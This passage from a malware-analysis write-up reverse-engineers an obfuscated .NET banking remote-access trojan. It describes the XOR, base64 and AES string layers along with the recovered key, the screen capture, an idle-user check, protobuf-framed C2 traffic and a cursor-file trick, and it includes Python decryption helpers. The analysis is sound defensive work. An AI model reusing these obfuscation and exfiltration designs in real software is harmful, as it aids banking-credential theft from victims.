XOR decryptions lead us to find what looks to be base64, however, trying to decode this base64 fails to work, this indicates that we are missing something, another piece of the puzzle to find. ### Third Layer of Obfuscation (Base64 & AES) Now we have a method of unravelling *some* of the encoded code let's continue to dive deeper. Looking back at our analyze results of the oRM method, we can see there are two methods that are slightly darker than the others and a bunch of methods that belong to the `vQsviNWxyEwZlGQgrsYidHQVeCItYQBjLCFBbiGmg` class. ![[Pasted image 20250315113353.png]] Clicking on the `bmiyuSkuIjiPppRTqcpwqtTmKFIlCBFRSUZpLiXoo` method takes us to a giant blob of unicode to decrypt, if we were to whack that into our XOR decrypt script we would find one of these base64 strings `AAACAAEAICACAAAAAAAwAQAAFgAAACgAAAAgAAAAQAAAAAEAAQAAAAAAgAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8=` this can't be easily reverted from base64 so we need to keep looking. If we look slightly under this method we see another method that is interesting. ![[Pasted image 20250315113739.png]] This method takes two inputs, a string input and a string, `keyy` input, the extra "y" on the end indicates that this is not the real encryption method, as there is another one present in this DLL taking a `key` with only one "y". (Directly under this method in the `vQsviNWxyEwZlGQgrsYidHQVeCItYQBjLCFBbiGmg` class). ![[Pasted image 20250313212033.png]] Looking into this further, we can see that this method will take a key in the form of `keyy` and then run this key through an MD5 hashing algorithm and using this hashing algorithm to take base64 strings and decode it using AES encoding. We know that the code will be passing in the base64 text which will be our cipher text, we will find the key, and once we have that we just need to know the encoding method and the IV. Let's have a look closer at the code: ```csharp case 0: num2 = 16; if (true) { num = 睺.SQEAAA==(-2); continue; } ``` We can see here that num2 has been set to `16` which is standard for AES. The input string as we know is decoded from Base64String(input) seen here: ```csharp MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(input)); ``` Followed by: ```csharp byte[] array2 = new byte[16]; memoryStream.Read(array2, 0, num2); ``` Then the memoryStream is set as the IV for the RijndaelManaged Object ```csharp 矠.eQEAAA==%(rijndaelManaged, array2); ``` This is an obfuscated call but it is likely setting up the IV. The encryption key is derived from the `keyy` parameter using MD5 hashing: ```csharp MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); array = md5CryptoServiceProvider.ComputeHash(矝.GAEAAA==%(瞂.FQEAAA==(), keyy)); ``` Reading through this we can gather that the IV is extracted from the first 16 bytes of the decoded data, which is commonly seen in malware samples where the IV is stored with the ciphertext. The encoding method for AES is likely going to be CBC, it looks like the mode is hidden in one of these method calls, but it is likely occurring in this line: ```csharp CryptoStream cryptoStream = new CryptoStream(memoryStream, 矞.egEAAA==%(rijndaelManaged), CryptoStreamMode.Read); ``` If we want to try and decode these method call strings, we can take them for example `egEAAA==` and base64 decode them we can run up a quick python script to see what we get: ```python import base64 encoded_data = "egEAAA==%" # Decode from Base64 to raw bytes raw_bytes = base64.b64decode(encoded_data) try: decoded_ascii = raw_bytes.decode("ascii") print(f"ASCII decoded string: {decoded_ascii!r}") except UnicodeDecodeError: print("Data is not valid ASCII") try: decoded_utf8 = raw_bytes.decode("utf-8") print(f"UTF-8 decoded string: {decoded_utf8!r}") except UnicodeDecodeError: print("Data is not valid UTF-8") ``` This will show us the result of: `\x01\x00\x00` we know that that looks similar to the Unicode that we were using XOR to decode, if we run this through the byte array found in the XOR decrypt we can pull out the letters: `bc`. Other strings decoded: `FQEAAA==`: !!cc `GAEAAA==%`: cc `dAEAAA==%`: rcc This indicates that the algorithm used is likely CBC. The other way of testing this would be to use CBC because Rijndael Managed's default is CBC in .NET. We will come back to this more soon, first we need to locate the key. If we keep scrolling down our `vQsviNWxyEwZlGQgrsYidHQVeCItYQBjLCFBbiGmg` method we will see the other encryption method mentioned with the correct spelling `key`, a method to handle Bitmaps and a method called `JKUNOuXjpoNbkoqHUraHXcizJHtlSGbsyefxvAYHD`, in this method we will see a reference to setting up a new Mutex (a mutex is a way for the malware to determine if it has already being executed, if the value is found in memory then the malware won't execute again.) ![[Pasted image 20250313213008.png]] If we click on `bifOblWTvNGjeJQnwsMYpZdnEsFobiQbmQUsgBwkc` it will take us to the heart of where all our malicious variables are set, including the location of the key. Looking at the code found here, we can see that there is a value passed into one of the classes with the value of "*8521*" this is the key required to decode the base64 used by this malware. ![[Pasted image 20250315114651.png]] We know how to decode the Unicode type code using the XOR byte array decryptor and we now know the key we can use this knowledge to start building tools to decrypt this data. Let's do that by creating another python script to handle decoding the base64 we find from the XOR decrypt. ```python import base64 import hashlib from Crypto.Cipher import AES import binascii def decrypt_string(encrypted_string): print("\n--- Decryption Process Visualization ---\n") # Step 1: Base64 decode print(f"Original base64 string: {encrypted_string}") decoded_data = base64.b64decode(encrypted_string) print(f"Base64 decoded data (hex): {binascii.hexlify(decoded_data).decode()}") print(f"Base64 decoded length: {len(decoded_data)} bytes") # Step 2: Extract IV and ciphertext iv = decoded_data[:16] ciphertext = decoded_data[16:] print(f"IV (hex): {binascii.hexlify(iv).decode()}") print(f"IV length: {len(iv)} bytes") print(f"Ciphertext (hex): {binascii.hexlify(ciphertext).decode()}") print(f"Ciphertext length: {len(ciphertext)} bytes") # Step 3: Create key key_input = "8521" print(f"Key input: {key_input}") key = hashlib.md5(key_input.encode()).digest() print(f"MD5 key (hex): {binascii.hexlify(key).decode()}") print(f"MD5 key length: {len(key)} bytes") # Step 4: Create cipher and decrypt cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(ciphertext) print(f"Raw decrypted data (hex): {binascii.hexlify(decrypted_data).decode()}") # Step 5: Remove padding padding_length = decrypted_data[-1] print(f"Padding length: {padding_length}") decrypted_data = decrypted_data[:-padding_length] print(f"Unpadded data (hex): {binascii.hexlify(decrypted_data).decode()}") print(f"Unpadded data (utf-8): {decrypted_data.decode('utf-8')}") return decrypted_data.decode('utf-8') encrypted_string = "CNwv58Lj2KdXwIKACSHG9CpGBTGm47vvumaLWDSkTveIc+wAlvtSFB9UhzaAvSKW" decrypted_string = decrypt_string(encrypted_string) print("\nFinal decrypted string:", decrypted_string) ``` Let's break down this code to understand how it works and also helps to understand how the encryption process with AES and base64 is working. - **Base64 Decoding**: - The function takes a Base64-encoded string as input - It first decodes this Base64 string back to binary data - The code shows the hexadecimal representation of this decoded data for debugging & understanding - **Extracting Components**: - The first 16 bytes are extracted as the Initialization Vector (IV) - The remaining bytes are the actual encrypted data (ciphertext) - Both parts are essential for the AES decryption process - **Key Generation**: - The encryption key is derived from the string "8521" - An MD5 hash is generated from this string to create a 16-byte key - This is a common (though not recommended for security) way to create fixed-length keys from passwords - **Decryption Process**: - The code creates an AES cipher in CBC (Cipher Block Chaining) mode - It uses the extracted IV and generated key to initialize the cipher - The ciphertext is then decrypted using this cipher - **Padding Removal**: - AES encryption requires data to be in blocks of 16 bytes - When the original data doesn't fit perfectly, padding is added - After decryption, the code removes this padding by checking the last byte - This byte indicates how many padding bytes were added - **Result Conversion**: - Finally, the unpadded binary data is converted to a UTF-8 string - This is the original plaintext that was encrypted --- ### Enter the Rabbit Hole This is going to go down many various paths, so feel free to tap out at any point but from here now we can remove all of the obfuscation layers we are going to dive into all the bits and pieces that we glossed over before as well as trying to understand how this RAT works, what are its communication methods, what functions does it pack and how can we track it and understand it further? Throughout this part, I'm going to start cleaning up the malware code renaming things so it is easier to follow and unpack, if the names don't match what you're seeing in the sample that is likely because I've cleaned it up to help speed up the investigations. Let's follow Alice down that rabbit hole shall we... #### Windows APIs If you scroll down that list a bit you will see there are two methods that are slightly darker than the rest: ![[Pasted image 20250315113057.png]] Double clicking through these will lead us to some interesting methods `AAA` and `EEEEEEEEE` both of these methods contain a switch, if we look under the `case 0` we will see a reference to `QyFdooVbCunQsDRamsksSqDEDNLyVymqjoqJXOQpk.SetProcessDPIAware();` diving into the `QyFdooVbCunQsDRamsksSqDEDNLyVymqjoqJXOQpk` method we will start to see all of the WindowsAPIs used which is implemented through the `DllImport` attribute, allowing the use of .NET applications to call functions from native DLLs. ![[Pasted image 20250315134030.png]] ##### Extracted APIs Below is the extracted list of Windows APIs found with their purpose and potential malicious usage. |Function Name|Source DLL|Purpose|Potential Usage| |---|---|---|---| |GetWindowText|User32.dll|Retrieves text from the specified window|Window content extraction| |GetWindowLong|User32.dll|Retrieves information about a window|Window property examination| |SetWindowPos|User32.dll|Changes size, position, and Z order of a window|Window manipulation| |SetWindowLong|User32.dll|Changes attributes of a window|Window property modification| |Win32DwmEnableComposition|dwmapi.dll|Enables/disables desktop composition|UI appearance manipulation| |DwmSetWindowAttribute|dwmapi.dll|Sets Desktop Window Manager attributes|Window visual styling| |SendMessage|User32.dll|Sends a message to a window|Inter-process communication| |SetProcessDPIAware|User32.dll|Declares process is DPI aware|Display scaling compatibility| |WindowFromPoint|User32.dll|Retrieves handle to window at specified point|UI element discovery| |FindWindowEx|User32.dll|Finds a child window|Window hierarchy traversal| |PostMessage|User32.dll|Places a message in a window's message queue|Asynchronous window communication| |SetActiveWindow|User32.dll|Activates a window|Window focus control| |SetForegroundWindow|User32.dll|Brings thread's windows to the foreground|Window focus forcing| |GetForegroundWindow|User32.dll|Gets the foreground window handle|Active window monitoring| |GetWindowtext|User32.dll|Retrieves text from window (duplicate)|Window content extraction| |SetLayeredWindowAttributes|User32.dll|Sets transparency attributes|Window visual effects| |FindWindow|User32.dll|Finds a top-level window|Window discovery by class/title| |GetWindow|User32.dll|Gets a window in specified relationship|Window relationship exploration| |FindWindowByCaption|User32.dll|Finds window by caption text|Window discovery by title| |ShellExecuteEx|Shell32.dll|Performs shell operation|Process execution| |F_Helper_LoadCursorFromFile|User32.dll|Loads cursor from a file|Custom cursor loading| |F_Helper_SetSystemCursor|User32.dll|Replaces system cursor|System cursor manipulation| |F_Helper_SystemParametersInfo|User32.dll|Sets/retrieves system parameters|System settings modification| |GetLastInputInfo|User32.dll|Gets time of last input|User activity monitoring| |GetWindowThreadProcessId|User32.dll|Gets thread/process ID for window|Process identification| |SetCursorPos|User32.dll|Sets cursor position|Cursor positioning| |mouse_event|User32.dll|Simulates mouse input|Mouse input simulation| |GetCursorPos|User32.dll|Gets cursor position|Cursor tracking| |GetWindowRect|User32.dll|Gets window dimensions|Window geometry retrieval| |ShowWindow|User32.dll|Sets window show state|Window visibility control| |MoveWindow|User32.dll|Changes window position and dimensions|Window repositioning| |DefWindowProc|User32.dll|Default window procedure|Window message handling| |GetWindowDC|User32.dll|Gets device context for window|Window drawing| |CreateWindowEx|User32.dll|Creates a window|Window creation| |CreateDIBitmap|Gdi32.dll|Creates a bitmap|Graphics resource creation| |DeleteDC|Gdi32.dll|Deletes device context|Graphics resource cleanup| |DeleteObject|Gdi32.dll|Deletes graphics object|Graphics resource cleanup| |MagInitialize|Magnification.dll|Initializes magnification API|Screen magnification setup| |MagSetWindowFilterList|Magnification.dll|Sets windows to be magnified|Magnification targeting| |MagSetWindowSource|Magnification.dll|Sets source rectangle for magnification|Magnification source control| |MagUninitialize|Magnification.dll|Uninitializes magnification API|Magnification cleanup| |MagSetImageScalingCallback|Magnification.dll|Sets scaling callback|Custom magnification processing| |GetProductInfo|Kernel32.dll|Gets Windows product type|OS capability detection| |GetVersionEx|Kernel32.dll|Gets OS version info|OS version detection| |LoadLibrary|Kernel32.dll|Loads a DLL|Dynamic library loading| |SetWindowsHookEx|User32.dll|Installs hook procedure|Input/event interception| |UnhookWindowsHookEx|User32.dll|Removes installed hook|Hook cleanup| |CallNextHookEx|User32.dll|Passes hook information to next hook|Hook chain management| |GetModuleHandle|Kernel32.dll|Gets handle to loaded module|Module access| |Shell_NotifyIcon|Shell32.dll|Creates/modifies tray icon|System tray interaction| >[!note] >This is not a complete indication of all the malicious APIs but it does help build a picture of the APIs used and their intection. Thanks to https://malapi.io for helping to build this diagram. ![[janela (1) 1.png]] #### Banking & Crypto On our journey down the rabbit hole we will stumble across a huge chunk of base64 which is both encrypted with AES and XOR, I found this under the same location where we found the key to decrypting the AES base64 found throughout the malware. If we run this through the decoder tools we created we can see evidence that this malware specifically looks for and targets banking systems used in the LATAM region. ![[Pasted image 20250316111310.png]] #### Screen Recording Our lovely RAT comes built with some sophisticated and stealthy techniques in its mission to capture the users screen and data before gearing up to sending data back to its C2 domains. Under the class `KPiBcyaxCFaYJZvdScEWmGaqeDBsgqihOJBbydztF` we can find a missed spelled method called `Minning` which reading through the code it creates bitmap data from screen content. ![[Pasted image 20250316111916.png]] The captured bitmap (`fnZvvJKuVqkeZkLCeOpqLUFNSXBzwSryCEEouNaJz`) is later processed in the `GetScreenExcludeForm` method. It's then packaged using `piVUWXbTyPjhCcvkXcsMyYnHEsynjIxaqXRSDxpqB` (obfuscated class) with `Execute(rSyxyyXETSKNaLqqYSgtUIjWRMeLCQYXAXCOILRia._Ct)`. Based from our knowledge in the layer above we know that this malware is looking specifically for banking information, while it's wrong to assume that is its sole purpose it is one of the main features this RAT has been known for. And if you guessed that we would go down the path to explore the `._Ct` function then you were correct, have a gold star. But first - you may have noticed something about this class, it assigns a global variable `Malicious_Variables.sGlnQRaJAPGIqcoYvSXtZqxFrLOmQBxliobXfFVVG` for storing captured images if we got back to our malicious variables class to have a look at our friend Mr `sGlnQRaJAPGIqcoYvSXtZqxFrLOmQBxliobXfFVVG` we can see it is declared as a static bitmap set to null. ![[Pasted image 20250316112453.png]] The fact that it's declared as a static variable in what appears to be the `Malicious_Variables` class means it's accessible globally throughout the malware, allowing different components to: 1. Store the screenshot after capture 2. Process it (possibly to extract information or compress it) 3. Access it for transmission to the command and control server This is a common pattern in malware - using static variables to share data between different components without needing to pass parameters between methods, which helps obfuscate the code flow. Moving back to our `.Ct` function we can see that it is linked to another Class (I've already changed the name here it won't be as obvious for you) ![[Pasted image 20250316112752.png]] Let's jump into the `C2_Communication_Class` to see what is inside of that one. ![[Pasted image 20250316112904.png]] Off the bat we can see that it is loading in libraries for Packets, Sockets, Threating, ProtoBuf (which if you remember is an efficient binary serialisation format often used in malware to minimise network traffic and make detection harder) if we look through the class we can start to see evidence that packets are being setup with the raw data being used: ![[Pasted image 20250316113147.png]] If we keep looking at the code we can a method called `Snd` which we will dive deeper into further down the rabbit hole. ![[Pasted image 20250316113515.png]] #### Exfiltration C2 Let's look to see if we can find where the data of the users that run this malicious payload are being sent off to - back in the class where we found the key to decrypt the AES function (`bifOblWTvNGjeJQnwsMYpZdnEsFobiQbmQUsgBwkc`) and the Banking and Crypto indicators, we can find other various malicious activity with variables being passed into the `oRM` method for decryption: ![[Pasted image 20250315141350.png]] Using our decryption tool we can start to clean up these strings to uncover what the malware is doing here. ![[Pasted image 20250315141451.png]] As we carve through the XOR encryption we can see that we have found the C2 responsible for data exfiltration, however, we don't know what method is required for contacting this C2, is it a PUT, GET, POST etc? To find this information we need to keep digging. Digging further through the DLL we can find indication of HTTP web requests being set up, ones that go through both the AES MD5 hashing and XOR hashing algorithms ![[Pasted image 20250315141923.png]] This is a good indication that we have found the right area of code to be looking, drawing our attention to the Method required, we can see that can be found under line 194. Let's decode this to find out what method is required. Taking that unicode string and running it through XOR we get `hIDqJ6fu190xRs7/6KvWdpBRC8CKleo1YM7ByRy3ebI=` now if we pass this through the base64 with AES decode it returns the decoded string: `GET`. ![[Pasted image 20250315142838.png]] Decoding the rest, we can see in order to communicate to the C2 you need to have the user agent string of `Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.108 Safari/537.36` along with the `GET` method. Looking at both the malicious variables and the HTTP web request side by side, you can clearly see how the C2 address gets used within the web request: ![[Pasted image 20250315143034.png]] #### User Idle Checker Continuing our journey into the cyber rabbit hole, you might have stumbled across a seemingly innocent method, which tracks if the user is idle or active, as there are several obfuscated methods and functions this quickly becomes less so innocent (I have cleaned up a lot of the names on my track to understand the functions and where it all connects). ![[Pasted image 20250315150636.png]] Starting with `UserIdelThread` this method operates under a infante loop, withing this loop a number is set to determine how the code will execute, we can see under case 9 the malware calls a new method: `rSyxyyXETSKNaLqqYSgtUIjWRMeLCQYXAXCOILRia.Isdle()` the first check we can see that it is loading in the Windows API using the LASTINPUTINFO API to check if the user has been active within the last 10 minutes. ![[Pasted image 20250315152540.png]] It appears to check for the number of milliseconds idle before continuing. ![[Pasted image 20250315152644.png]] Assuming 600 milliseconds is the check that is roughly 10 minutes. The information from `Isdle()` is passed back to `UserIdleThread()` which enters the loop again constantly checking to see if the user is "Active" or "Absent". A simpler way of looking at the logic would be to view it like: ```csharp While (True) { If (user is idle) { If (current state != "Absent") { Change state to "Absent" Execute some action with the new state } } else { If (current state != "Active") { Change state to "Active" Execute some action with the new state } } If (termination flag is set) { Exit the thread } Sleep for 5 seconds } ``` While we still have some unknowns currently due to the dynamic mapping which is setup at runtime being used (Being ran by class `{FE3C441D-DF9D-407b-917D-0B4471A8296C}.dau`) we can't say for certain what number that is used that determines where the cases will go and execute in, we can speculate based on the information discovered. This method appears to be a way for the malware to avoid detection if we attempt to analyse reasons why this is the case it could be due to anyone of the following: - **Avoid Analysis**: Malware may suspend activities when the user is active to reduce the chance of being noticed through system slowdowns or other behaviours. - **Trigger on Idle**: Conversely, it may wait until the user is idle to perform resource-intensive or noticeable operations when they're less likely to be caught. - **User Profiling**: It could be building a profile of when the user is typically active vs. absent to optimise its malicious activities. - **Anti-Sandbox Detection**: Many automated analysis environments don't simulate realistic user activity, so this could also be a way to detect if it's running in a sandbox. Going back to this method we can see that it does execute another class `soUQxaOmjKFlEZURwsphUqpDdEnswvEIvTIjivzMU` under case 2 and case 4 depending on the results returned. ![[Pasted image 20250315154315.png]] Let's have a look at what is inside this class. And here we have found that the client is reporting back to the C2 in real time, anytime the user's session changes from active to idle or idle to active a packet will fire back to the C2 with a specially crafted message: ![[Pasted image 20250315154634.png]] The `soUQxaOmjKFlEZURwsphUqpDdEnswvEIvTIjivzMU` class is a packet implementation that: 1. **Is in the Client Packets Namespace**: `Core.Packets.ClientPackets` clearly indicates this is outbound communication from the infected client. 2. **Uses Protocol Buffers**: The `[ProtoContract]` and `[ProtoMember]` attributes show it's using Protocol Buffers (protobuf), which is an efficient binary serialisation format often used in malware to minimize network traffic and make detection harder. 3. **Implements IPacket**: It's part of a larger packet handling system. 4. **Contains a Message Field**: The packet carries a string payload, which in this case would be the user activity status ("Active" or "Absent"). 5. **Has an Execute Method**: This method sends the packet to a remote server through the client's sending mechanism (`client.Snd<soUQxaOmjKFlEZURwsphUqpDdEnswvEIvTIjivzMU>(this)`). Following the bouncing ball, if we go down into the Snd method we can see the following: ![[Pasted image 20250315154945.png]] ###### C2 Communication This is the `Snd<T>` method which is responsible for serialising packets and sending them to the command and control server. Here's what it's doing: 1. **Queue Management**: - It uses a queue (`abc`) to manage outbound packets - Uses locking mechanisms (`瞜.PAEAAA==` and `瞝.PQEAAA==`) to handle thread safety 2. **Protocol Buffer Serialization**: - Serialises the packet using Protocol Buffers with `Serializer.SerializeWithLengthPrefix<T>` - Uses `PrefixStyle.Fixed32` which prepends a 4-byte length header to the serialised data 3. **Network Transmission**: - After serialisation, it calls another `Snd` method (likely overloaded) to send the raw byte array - Also calls an obfuscated method `OONTRORORORR` which might be logging or statistics tracking 4. **Resource Management**: - Properly disposes of the `MemoryStream` using `瞈.rwAAAA==%(memoryStream)` (likely an obfuscated Dispose call) 5. **Status Check**: - Only sends data if `Ced` is true (likely a flag indicating the connection is active) The `Snd` method goes into details about how the malware encrypts and compresses the data before it is being sent back out of the system over to the malicious actors C2 servers. **Encryption Layer** ```csharp VbTbZRcrZjclrrJHPAeEAurmZNgWIfCTTcHmaSpJG = Main.WooAKDlBdywDeuqdXCxHhtmmxPdDgCcGHpWCsMjkj( VbTbZRcrZjclrrJHPAeEAurmZNgWIfCTTcHmaSpJG, 瞯.bgAAAA==(Main.aes_md5_hashing(<COSMDOKLO>.oRM=("*****@#@#@#*****"), Malicious_Variables.AES_Decrypt_Key), Malicious_Variables.AES_Decrypt_Key, Main.aes_md5_hashing(<COSMDOKLO>.oRM=("*****@#@#@#*****"), Malicious_Variables.AES_Decrypt_Key)) ``` This appears to be encrypting the data using AES encryption with a key derived from MD5 hashing as we have seen throughout the code and adding a fixed string marker `*****@#@#@#*****`. **Compression** ```csharp VbTbZRcrZjclrrJHPAeEAurmZNgWIfCTTcHmaSpJG = new POczMNZqhqMkUUWTlCwMwGHprtgaCpLtZoEORAnwK().Compress(VbTbZRcrZjclrrJHPAeEAurmZNgWIfCTTcHmaSpJG); ``` The data is also compressed before transmission, likely to reduce network traffic and evade detection. **Queuing Mechanism** ```csharp this.abc.Enqueue(VbTbZRcrZjclrrJHPAeEAurmZNgWIfCTTcHmaSpJG); ``` After encryption and compression, the data is added to the queue for transmission. **Status Tracking** ```csharp this.tbjBdOTzHOcgnjVvWmyZhaxdOgCdycIKXGHQOpXzN[1] = true; ``` This appears to be setting a flag to track the status of the send operation. **Networking Sending** ```csharp this.Haneue(); ``` This is likely the method used to send the operation, and well you know where this is going to lead me now right? Hello Haneue - This method handles the actual sending of data over the network. ![[Pasted image 20250315160326.png]] Based on what we can see in this method we can speculate as to what this malware is doing. - **Socket Communication**: - The malware is using asynchronous socket communication via `_ha.SendAsync()` - It divides data into chunks for transmission using a buffer system - **Message Framing**: - The `Her()` method prepends a 4-byte length header to each message - This is a common technique in network protocols to delineate message boundaries - **Chunked Transmission**: - The code includes logic to handle data that's larger than the buffer size - It tracks position with `SHqgUFRWqpFjFawekMCZfIQLAgjQRJWeGXvMdsVGX` and sends data in chunks - **Receiving Logic**: - The `Haead()` method appears to be the counterpart for receiving data - It reassembles incoming chunks and processes complete messages via `this._aon.Post()` - **Error Handling**: - The code has retry logic (5 attempts) for send operations - On persistent failure, it calls `Diect()` which likely disconnects the socket We can now start to see a picture of what this malware is actually doing... from the information we have gleamed together. - **User Activity Monitoring**: The malware tracks when users are active vs. absent - **Status Reporting**: When status changes, it creates a packet with this information - **Message Processing**: Packets are serialised using Protocol Buffers - **Security Measures**: Data is compressed and encrypted with AES using custom keys - **Network Transmission**: The encrypted data is sent via asynchronous socket communication While the physical C2 addresses aren't hardcoded in the code anywhere that is visible there is evidence of other classes and methods being called that interact with the C2s ![[Pasted image 20250316151321.png]] It is likely that the C2s are referenced in the dynamic mapping table initiated at startup; this will likely require dynamic analysis to further understand how it is working. From research and from poking around the code we can assume that there are more than one C2 servers associated with this RAT. #### Cursor Files Remember that odd blob of Unicode we found before that when we ran it through the XOR decryptor it gave us this base64: `AAACAAEAICACAAAAAAAwAQAAFgAAACgAAAAgAAAAQAAAAAEAAQAAAAAAgAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8=` you may be thinking great now we can decode it with our python script! Well, no, no we can't - this is because this isn't an AES encrypted base64 string it's actually a cursor file. ![[Pasted image 20250316152732.png]] We can use a python script to decode this contents for further analysis. ```python import base64 import struct import os def analyze_and_extract_cursor(base64_string, output_file=None): """ Analyzes a Base64 string to determine if it's a cursor file and extracts it if requested. Args: base64_string (str): The Base64-encoded cursor data output_file (str, optional): Path to save the extracted cursor file Returns: dict: Information about the cursor file """ # Decode the Base64 string to binary data try: binary_data = base64.b64decode(base64_string) except Exception as e: return {"error": f"Failed to decode Base64 string: {str(e)}"} # Check if it's too short to be a valid cursor file if len(binary_data) < 22: return {"error": "Data too short to be a valid cursor file"} # Parse the header # First 2 bytes: Reserved (always 0) # Bytes 2-3: File type (1 for ICO, 2 for CUR) # Bytes 4-5: Number of images reserved, file_type, num_images = struct.unpack('<HHH', binary_data[0:6]) # Determine file type file_type_name = "Unknown" if file_type == 1: file_type_name = "Icon (.ico)" elif file_type == 2: file_type_name = "Cursor (.cur)" # Extract information about the first image (if any) image_info = {} if num_images > 0 and len(binary_data) >= 22: # Icon directory entry is 16 bytes long # Bytes 0-0: Width (0 means 256) # Bytes 1-1: Height (0 means 256) # Bytes 2-2: Color count (0 means 256) # Bytes 3-3: Reserved (always 0) # Bytes 4-5: Color planes (ICO) or X hotspot (CUR) # Bytes 6-7: Bits per pixel (ICO) or Y hotspot (CUR) # Bytes 8-11: Size of image data in bytes # Bytes 12-15: Offset of image data from beginning of file entry = binary_data[6:22] width, height, color_count, reserved = struct.unpack('<BBBB', entry[0:4]) # Handle 0 values which mean 256 width = 256 if width == 0 else width height = 256 if height == 0 else height color_count = 256 if color_count == 0 else color_count if file_type == 1: # ICO planes, bits_per_pixel = struct.unpack('<HH', entry[4:8]) image_info = { "width": width, "height": height, "color_count": color_count, "color_planes": planes, "bits_per_pixel": bits_per_pixel } else: # CUR x_hotspot, y_hotspot = struct.unpack('<HH', entry[4:8]) image_info = { "width": width, "height": height, "color_count": color_count, "x_hotspot": x_hotspot, "y_hotspot": y_hotspot } size, offset = struct.unpack('<II', entry[8:16]) image_info.update({ "data_size": size, "data_offset": offset }) # Extract the first few and last few bytes for inspection first_bytes = ' '.join([f"{b:02x}" for b in binary_data[:16]]) last_bytes = ' '.join([f"{b:02x}" for b in binary_data[-16:]]) # Save to file if requested if output_file and binary_data: try: with open(output_file, 'wb') as f: f.write(binary_data) save_result = f"Cursor file saved to: {output_file}" except Exception as e: save_result = f"Failed to save cursor file: {str(e)}" else: save_result = "No output file specified, cursor was not saved" # Prepare the analysis results results = { "file_type": file_type_name, "file_type_code": file_type, "num_images": num_images, "total_size": len(binary_data), "first_bytes": first_bytes, "last_bytes": last_bytes, "save_result": save_result } if image_info: results["first_image"] = image_info return results # Example usage if __name__ == "__main__": base64_cursor = "AAACAAEAICACAAAAAAAwAQAAFgAAACgAAAAgAAAAQAAAAAEAAQAAAAAAgAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////8=" # Analyze the cursor result = analyze_and_extract_cursor(base64_cursor, "extracted_cursor.cur") # Print the analysis results print("Cursor File Analysis:") print(f"File type: {result['file_type']} (Code: {result['file_type_code']})") print(f"Number of images: {result['num_images']}") print(f"Total file size: {result['total_size']} bytes") print(f"First bytes: {result['first_bytes']}") print(f"Last bytes: {result['last_bytes']}") # Print first image info if available if "first_image" in result: img = result["first_image"] print("\nFirst Image Information:") print(f"Dimensions: {img['width']}×{img['height']} pixels") print(f"Color count: {img['color_count']} colors") if "x_hotspot" in img: print(f"Hotspot: ({img['x_hotspot']}, {img['y_hotspot']})") print(f"Image data size: {img['data_size']} bytes") print(f"Image data offset: {img['data_offset']} bytes from start") print(f"\n{result['save_result']}") ``` The script will give us an extracted version of the cur file for further analysis. ![[Pasted image 20250316153147.png]] MS Windows cursor resource - 1 icon, 32x32, 2 colours, hotspot @0x0 Looking back at the code, we can see that the `bmiyuSkuIjiPppRTqcpwqtTmKFIlCBFRSUZpLiXoo()` method is creating a cursor file in memory: - It decodes a Base64 string into a byte array that contains binary cursor data - The cursor appears to be just a black square of 32x32. ![[Pasted image 20250316152814.png]] The decoded cursor data is then being written to a file named "`cur.cur`": - `Malicious_Variables.vHbZFEjZbFqDurZVFoaiAEbBIGdKKMkArCXlQqmbX` resolves to "`cur.cur`" - This is a standard Windows cursor file format This technique is commonly used by malware for several purposes: - **Screen Recording Disguise**: The black square cursor could be used to hide the actual cursor position during screen recording/capture. This helps mask the fact that the victim's screen is being monitored. - **User Activity Monitoring**: By manipulating the cursor, the malware can track user activity in a way that is different from what standard system APIs allow. - **Stealth Screen Capturing:** When taking screenshots, replacing the cursor with an invisible or minimal one can help avoid detection. - **Anti-Analysis Technique**: Some malware changes the cursor to detect if it's running in a virtual machine or analysis environment, as these environments sometimes handle cursors differently. Combined with the screen capture capability we identified earlier, this cursor manipulation is likely part of the malware's strategy to capture screen content without alerting the user. The black square cursor either replaces the system cursor during capture operations or marks regions of the screen being monitored. These malicious techniques are consistent with banking trojans and information-stealing malware that aim to capture sensitive information from the screen without being detected. # Conclusion While this is just scratching the surface with this malware sample it gives us a good insight to how threat actors are layering defences into their malware to avoid detections, employ sophisticated techniques to capture data and send it back to the threat actors in amazingly stealthy ways. Hope you enjoyed unpacking this one as much as I did. Happy hunting.